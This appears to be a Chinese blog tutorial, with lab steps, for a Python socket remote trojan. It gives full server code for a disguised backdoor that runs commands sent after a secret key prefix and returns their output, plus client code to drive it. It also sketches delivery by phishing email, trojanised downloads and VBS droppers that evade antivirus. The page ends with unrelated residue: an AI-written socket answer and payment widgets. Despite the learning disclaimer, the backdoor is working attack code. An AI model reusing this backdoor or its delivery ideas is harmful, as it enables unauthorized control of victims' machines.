基于Python/Socket实现小型的远程木马(包含实验)

| 警告:仅供参考学习,不得做违法的事!免责声明:本文仅仅只是展示攻击手段,提高防范意识。任何由于该文章产生的消极后果与本作者无关。

前言

本文是用 Python 的 Socket 模块进行的服务搭建,主要是基于TCP服务的远程木马,因此要掌握一点TCP服务搭建的知识,可以参考我的另一篇文章,结合网上搜索的知识,搭建TCP服务器和客户端,然后再进行实验。

参考文章:用Python搭建非常简易的TCP客户端和服务器_br0sy的博客-CSDN博客

还要用到 Python 的 os 模块,进行命令操作,接下去话不多说,直接开始写代码

TCP服务端代码

import socket, os
​
# 以下不写注释了,要了解原理可参考我上面的文章或自行网上搜索
def attack():
    s = socket.socket()
    try:
        s.bind(("0.0.0.0", 6666))
        s.listen()
        chanel, cilent = s.accept() # accept会造成线程阻塞,但是一般情况下不考虑这个
        while True:
            recive_content = chanel.recv(1024).decode()
            if recive_content.startswith("+=+=+"):
                # 非正常业务
                # 后门代码,key 是 +=+=+# ,后面加命令,就可以执行了
                command = recive_content.split("#")[-1]
                result = os.popen(command).read()
                # 回传信息
                chanel.send(result.encode())
            else:
                # 正常的会话(正常业务)
                print(recive_content)
                # 价值一个亿的人工智能代码↓(doge)
                response_content = recive_content.replace("吗?", "!")
                chanel.send(response_content.encode())
    except:
        # 防止服务器因报错停止
        s.close
        attack()
    
    
if __name__ == '__main__':
    attack()

TCP客户端代码

import socket
​
# 获取socket对象
s = socket.socket()
# 连接TCP服务器 下面这个ip是我的 被攻击机的ip,在下面的实验中可知
s.connect(("192.168.121.133", 6666))
while True:
    content = input("请输入要传到服务器的数据:")
    # content = "+=+=+#" + content   # 只要执行命令的话就打开这行代码,自动补充了key
    s.send(content.encode())
​
    # 传回数据
    recive_content = s.recv(10240).decode() # 这里缓冲区设置的大一点,防止回传信息过多而无法接收
    print(recive_content)

实验环境

客户端(攻击端):win10: ip:????(不需要知道)

服务端(被攻击端):Ubuntu: ip :192.168.121.132

方法

1、Ubuntu中

将TCP服务端代码放到 Ubuntu 中,并执行,就会在特定端口打开服务

如下:

开启前:在终端输入 netstat -ant 查看端口情况

现在我们开启服务:

再输入 netstat -ant 会发现 6666 端口已经开启监听

2、Win10中

在win10中,我们直接运行 客户端代码,就可以和服务器建立一个 TCP 连接,并开始传数据

于是我们可以开始干点猥琐的事情,比如....查看ip!(实在是太猥琐了)

关于如何攻击的讨论

看完上面的,你会说,别人又不傻,怎么会来执行你的脚本,不过这就涉及到社工了,总有办法的。

比如如果对方有执行代码的环境,那么也许我们可以发个邮件给别人,点开链接,进入某个我们自己写的网站,然后下载一些py程序,或者干脆下载一个应用,然后把后门放进去,由于每台windows都可以直接执行 vbs 文件,所以老旧的办法是用vbs写中间下载代码,绕过杀毒软件(免杀),然后下载真后门,不过现在好像杀毒软件都比较吊,有点难绕...以上仅是攻击讨论猜测,纯属玩笑话,看看就好。

仍存在的问题

在实验过程中,发现其实这个服务端代码写的仍然有点问题,应该是阻塞的问题,当我们在客户端中输入了错误的命令时,服务端会发生阻塞,客户端就得不到任何回显了,当然我们可以重启客户端(这是我们能做的),就可以重新发命令。

然后有的时候会莫名其妙产生BUG,估计也和操作系统有关系,不太懂了。以后学到了再回头说吧。

  • 4
    点赞
  • 29
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
作为一名AI语言模型,我不具备编写实际代码的能力,但我可以为您提供一些基础知识和思路,帮助您实现一个简单的socket交换机。 首先,socket是一种网络通信协议,它可以让不同的计算机之间进行数据通信。在Python中,我们可以使用socket模块来创建和管理socket对象。 要实现一个socket交换机,您需要先了解以下几点: 1. socket通信的基本流程: - 创建socket对象 - 绑定IP地址和端口号 - 监听连接请求 - 接受连接请求 - 发送和接收数据 - 关闭连接 2. 交换机的基本功能: - 接收来自客户端的请求 - 根据请求的目标地址,将数据转发到对应的服务器 - 接收服务器返回的数据,并将其转发给客户端 基于以上基本知识,您可以开始着手实现一个简单的socket交换机。以下是一些思路: 1. 创建socket对象 使用socket模块的socket()函数创建一个socket对象,指定地址族(AF_INET或AF_UNIX)、套接字类型(SOCK_STREAM或SOCK_DGRAM)和协议(默认为0)。 2. 绑定IP地址和端口号 使用socket对象的bind()方法绑定IP地址和端口号,指定监听的地址和端口。 3. 监听连接请求 使用socket对象的listen()方法开始监听连接请求,指定最大连接数。 4. 接受连接请求 使用socket对象的accept()方法接受客户端的连接请求,返回一个新的socket对象和客户端的地址信息。 5. 发送和接收数据 使用socket对象的send()方法发送数据,使用recv()方法接收数据。 6. 关闭连接 使用socket对象的close()方法关闭连接。 在实现这些基本功能之后,您还需要添加一些额外的功能,例如: - 对客户端连接进行身份验证 - 实现数据加密和解密 - 支持多个客户端同时连接 - 实现负载均衡和故障转移 总之,实现一个完整的socket交换机需要您具备一定的网络编程和Python编程经验,也需要您对网络通信协议有一定的了解。如果您是初学者,可以先从简单的示例代码入手,逐步学习和实践。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值